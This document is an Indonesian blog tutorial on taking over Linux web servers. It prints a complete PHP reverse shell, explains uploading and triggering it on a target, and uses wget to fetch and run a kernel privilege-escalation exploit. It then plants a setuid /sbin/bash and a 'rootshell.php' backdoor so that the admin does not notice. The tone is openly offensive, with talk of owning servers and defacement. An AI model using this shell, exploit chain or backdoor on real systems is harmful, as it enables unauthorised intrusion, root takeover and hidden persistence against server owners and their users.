Tutorial Rooting Dengan Reverse Shell PHP

Reverse Shell


S4N - Soft4Newbie | Sebenarnya tidak jauh berbeda dengan Shell-shell yang tentunysa sudah banyak kita tau seperti c99, c100 b374k dan banyak lagi, dan tentu saja semua shell tersebut sudah di lengkapi dengan amunisi seperti backconnect dan sejenisnya, tetapi kadang-kadang setelah kita berhasil mengupload shell ke target kita tidak bisa melakukan connect back atau back connect ke kompi kita, akibat firewall atau akses yang di batasi, ya ujung-ujungnya kita hanya mendapatkan web shell yang kurang interaktif dan pada akhirnya pasti deface :P

Dalam thread ini saya akan mencoba mendemonstrasikan bagaiman menggunakan reverse shell terhadap sebuah target untuk mendapatkan shell yang interaktif dan akses root (kalo bisa, soalnya nulisnya sambil beraksi). Reverse shell di buat dalam bahasa PHP dan hanya di khsusukan untuk linux saja  , reverse shell bisa di download di sini http://pentestmonkey.net/tools/php-reverse-shell, disini saya berasumsi bahwa reverse shell sudah di upload ke server target (terserah dengan cara apa, SQL injection, atau maksa si admin ngasi pass webnya :P), jika reverse shell sudah di upload ke server target kita cukup memberikan sedikit configurasi agar reverse shell bekerja sesuai dengan harapan kita. Yang perlu dirubah yaitu IP addres dan port yang akan di hubungi oleh reverse shell ini
Configurasinya seperi berikut:
PHP Code:
$ip = "ip_yang_akan_dihubungi";
$port = "port_dari_ip"; 
ini full script reverse shellnya
PHP Code:
set_time_limit (0);
$VERSION = "1.0";
$ip = "ip_yang_akan_dihubungi";
$port = "port_dari_ip";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;

if (function_exists(‘pcntl_fork’)) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit(“ERROR: Can’t fork”);
exit(1);
}
if ($pid) {
exit(0);  // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit(“Error: Can’t setsid()”);
exit(1);
}
$daemon = 1;
} else {
printit(“WARNING: Failed to daemonise.  This is quite common and not fatal.”);
}
// Change to a safe directory
chdir(“/”);
// Remove any umask we inherited
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit(“$errstr ($errno)”);
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array(“pipe”, ”r”),  // stdin is a pipe that the child will read from
1 => array(“pipe”, ”w”),  // stdout is a pipe that the child will write to
2 => array(“pipe”, ”w”)   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit(“ERROR: Can’t spawn shell”);
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won’t
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit(“Successfully opened reverse shell to $ip:$port”);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit(“ERROR: Shell connection terminated”);
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit(“ERROR: Shell process terminated”);
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process’s STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit(“SOCK READ”);
$input = fread($sock, $chunk_size);
if ($debug) printit(“SOCK: $input”);
fwrite($pipes[0], $input);
}
// If we can read from the process’s STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit(“STDOUT READ”);
$input = fread($pipes[1], $chunk_size);
if ($debug) printit(“STDOUT: $input”);
fwrite($sock, $input);
}
// If we can read from the process’s STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit(“STDERR READ”);
$input = fread($pipes[2], $chunk_size);
if ($debug) printit(“STDERR: $input”);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we’ve daemonised ourself
// (I can’t figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print ”$string\n”;
}
}
?>
Setelah konfigurasi disesuaikan, siapkan listener untuk meneriuma koneski dari reverse shell, dalam kasus ini ya kompi kita, so IP dan PORT nya di sesuaikan saja dengan kompi kita, cara menggunakannya juga cukup mudah, kita tidak membutuhkan library seperti python ataupun perl seperti halnya menggunakan back connect atau connect back, reverse shell cukup di jalankan melalui browser, misalnya, saya mempunyai target yang sudah saya semi compromise dengan alamat
Code:
http://webtarget.com/images/small/saya_upload_disini
Maka saya cukup mengakses reverse shell seperti layaknya mengakses halaman web biasa
Code:
http://webtarget.com/images/small/reverseshell.php
Maka dengan cara tersebut shell interaktid akan kita dapatkan(walapun servise ssh di server target tidak aktif)
[Image: 15115346.png]
Seperti gambar di atas, kita bisa melihat bahwa akses kita hanya user dengan group apache, entah kebetulan atau memang saya lagi beruntung :P web server target di jalankan dengan mengunakan privilege user apache, dengan memperhatikan perintah uname di atas kita tinggal mencari informasi tentang vuln terhadap kernel tersebut, dengan sedikit googling dan mondar mandir di website http://securityfocus.com akhirnya saya mendapatkan informasi vuln kernel tersebut, kita bisa menjadi root di kernel tersebut dengan memanfaatkan kelemahan yang ada pada null pointer dereference.
Download exploit dari
Code:
http://www.securityfocus.com/data/vulnerabilities/exploits/enlightenment-091009.tgz
dengan perintah wget dari shell interaktif yang sudah kita dapatkan, download dengan widget dengan perintah
Code:
wget http://www.securityfocus.com/data/vulnerabilities/exploits/enlightenment-091009.tgz
Kemudian extract dengan perintah
Code:
tar xvzf enlightenment-091009.tgz
Kemudian masuk dalam folder enlightenment dengan perintah
Code:
cd enlightenment
Kemudian jalankan perintah untuk exploitasinya
Code:
./run_exploit.sh
[Image: 24311425.png]
Kalo udah begitu yam mau bagaimana lagi, w00t w00t server is owned kan, tetapi seorang hacker tidak akan berhenti sampai disitu, tentu saja dengan akses root yang sudah di dapatkan tidak ingin di ambil alih oleh orang lain ataupun diketahui oleh yang punya, langkah selanjutnya yaitu membuat root backdoor, ini dimaksudkan agar kita bisa mengkases root yang sudah kita ambil alih tanpa di ketahui oleh sang admin, bagaiaman melakukannya ????
Reverse Rootshell
kalo udah jado root setelah kita utak atik kernelnya, kini saatnya kita masang bacdoor untuk akses root, makdunya biar tiap kali kita akses kita langsung dapat root datnpa harus melakukan explotasi kernel lagi, untuk kita kopikan /bin/bash ke direktory /sbin/bash dan merubah permisisionya menjadi root, agar tiap kali di akses selalu menjadi root, kemudian kita membuat revserse shell dengan akses root.
Code:
sh-3.1# cp /bin/bash /sbin/bash
sh-3.1# ls -l
-rwrsx-xr-x 1 root root 722684 April  11:12  /sbin/bash
sh-3.1# pwd
/tmp/enlightenment
sh-3.1# cd /home/violapu/public_html/images/small/
sh-3.1# sed 's/bin/bash'  revershell.php > rotshell.php
sh-3.1# head rootshell.php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = "ip_yang_akan_dihubungi";
$port = "port_dari_ip";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/sbin/bash -p -i';
sh-3.1#
dengan begitu kita tinggal panggil rootshell.php dan akses kita akan langsung menjadi root
cukup dengan mengakses
Code:
http://server.com/images/small/rootshell.php
Tunggu session berikutnya ya :P tongkrongin terus devilzc0de :P, di pembasan selajutnya kita akan mencoba melakukan rooting jika server target adalah wiondows :P
Share this article :
 

Posting Komentar

 
Support by : Komunitas Anak Remaja Berbasis IT
Copyright © 2011. CARBITE BLOG .COM - All Rights Reserved
Template Created by Creating Website | Editor : p0zh1e
Proudly powered by Blogger